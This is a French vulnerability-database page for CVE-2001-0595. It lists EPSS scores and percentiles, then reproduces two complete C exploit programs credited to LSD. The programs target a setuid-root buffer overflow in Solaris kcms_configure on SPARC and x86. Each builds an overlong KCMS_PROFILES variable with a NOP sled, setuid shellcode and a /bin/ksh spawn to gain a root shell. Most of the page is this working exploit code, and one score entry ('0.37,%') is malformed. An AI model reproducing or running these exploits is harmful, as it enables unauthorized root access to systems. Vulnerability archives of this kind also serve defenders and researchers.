CVE-2001-0595 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.37%
2025-03-30	–	–	–	–	0.37%
2025-03-30	–	–	–	–	0.37,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	57%
2025-03-30	56%
2025-03-30	56%

/* source: https://www.securityfocus.com/bid/2605/info The Kodak Color Management System configuration tool 'kcms_configure' is vulnerable to a buffer overflow that could yield root privileges to an attacker. The bug exists in the KCMS_PROFILES environment variable parser in a shared library 'kcsSUNWIOsolf.so' used by kcms_configure. If an overly long KCMS_PROFILES variable is set and kcms_configure is subsequently run, kcms_configure will overflow. Because the kcms_configure binary is setuid root, the overflow allows an attacker to execute arbitrary code as root. Exploits are available against Solaris x86 and Solaris Sparc. */ /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/ /*## kcsSUNWIOsolf.so #*/ #define NOPNUM 940 #define ADRNUM 32 #define PCHNUM 204 char setuidcode[]= "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */ "\x82\x10\x20\x17" /* mov 0x17,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ ; char shellcode[]= "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; char jump[]= "\x81\xc3\xe0\x08" /* jmp %o7+8 */ "\x90\x10\x00\x0e" /* mov %sp,%o0 */ ; static char nop[]="\x80\x1c\x40\x11"; main(int argc,char **argv){ char buffer[4096],adr[4],*b,pch[4],*envp[4],display[128]; int i; printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n"); printf("kcsSUNWIOsolf.so solaris 2.6 2.7 2.8 sparc\n\n"); if(argc!=2){ printf("usage: %s xserver:display\n",argv[0]); exit(-1); } *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-256-112; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()-512-112; sprintf(display,"DISPLAY=%s",argv[1]); envp[0]=buffer; envp[1]=display; envp[2]=0; b=buffer; sprintf(b,"KCMS_PROFILES="); b+=14; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp); }

/* source: https://www.securityfocus.com/bid/2605/info The Kodak Color Management System configuration tool 'kcms_configure' is vulnerable to a buffer overflow that could yield root privileges to an attacker. The bug exists in the KCMS_PROFILES environment variable parser in a shared library 'kcsSUNWIOsolf.so' used by kcms_configure. If an overly long KCMS_PROFILES variable is set and kcms_configure is subsequently run, kcms_configure will overflow. Because the kcms_configure binary is setuid root, the overflow allows an attacker to execute arbitrary code as root. Exploits are available against Solaris x86 and Solaris Sparc. */ /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/ /*## kcsSUNWIOsolf.so #*/ #define NOPNUM 16000 #define ADRNUM 2900 char setuidshellcode[]= "\x33\xc0" /* xorl %eax,%eax */ "\xeb\x08" /* jmp <setuidshellcode+12> */ "\x5f" /* popl %edi */ "\x47" /* incl %edi */ "\xab" /* stosl %eax,%es:(%edi) */ "\x88\x47\x01" /* movb %al,0x1(%edi) */ "\xeb\x0d" /* jmp <setuidshellcode+25> */ "\xe8\xf3\xff\xff\xff" /* call <setuidshellcode+4> */ "\x9a\xff\xff\xff\xff" "\x07\xff" "\xc3" /* ret */ "\x33\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\xb0\x17" /* movb $0x17,%al */ "\xe8\xee\xff\xff\xff" /* call <setuidshellcode+17> */ "\xeb\x16" /* jmp <setuidshellcode+59> */ "\x33\xd2" /* xorl %edx,%edx */ "\x58" /* popl %eax */ "\x8d\x78\x14" /* leal 0x14(%eax),edi */ "\x52" /* pushl %edx */ "\x57" /* pushl %edi */ "\x50" /* pushl %eax */ "\xab" /* stosl %eax,%es:(%edi) */ "\x92" /* xchgl %eax,%edx */ "\xab" /* stosl %eax,%es:(%edi) */ "\x88\x42\x08" /* movb %al,0x7(%edx) */ "\xb0\x3b" /* movb $0x3b,%al */ "\xe8\xd6\xff\xff\xff" /* call <setuidshellcode+17> */ "\xe8\xe5\xff\xff\xff" /* call <setuidshellcode+37> */ "/bin/ksh" ; char jump[]= "\x8b\xc4" /* movl %esp,%eax */ "\xc3" /* ret */ ; main(int argc,char **argv){ char buffer[20000],*b,adr[4],*envp[4],display[128]; int i; printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n"); printf("kcsSUNWIOsolf.so for solaris 2.7 2.8 (2.6 ?) x86\n\n"); if(argc!=2){ printf("usage: %s xserver:display\n",argv[0]); exit(-1); } *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+2300+8000; sprintf(display,"DISPLAY=%s",argv[1]); envp[0]=&buffer[0]; envp[1]=&buffer[17000]; envp[2]=display; envp[3]=0; b=buffer; sprintf(b,"xxx="); b+=4; for(i=0;i<NOPNUM;i++) *b++=0x90; for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i]; *b=0; b=&buffer[17000]; sprintf(b,"KCMS_PROFILES="); b+=14; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp); }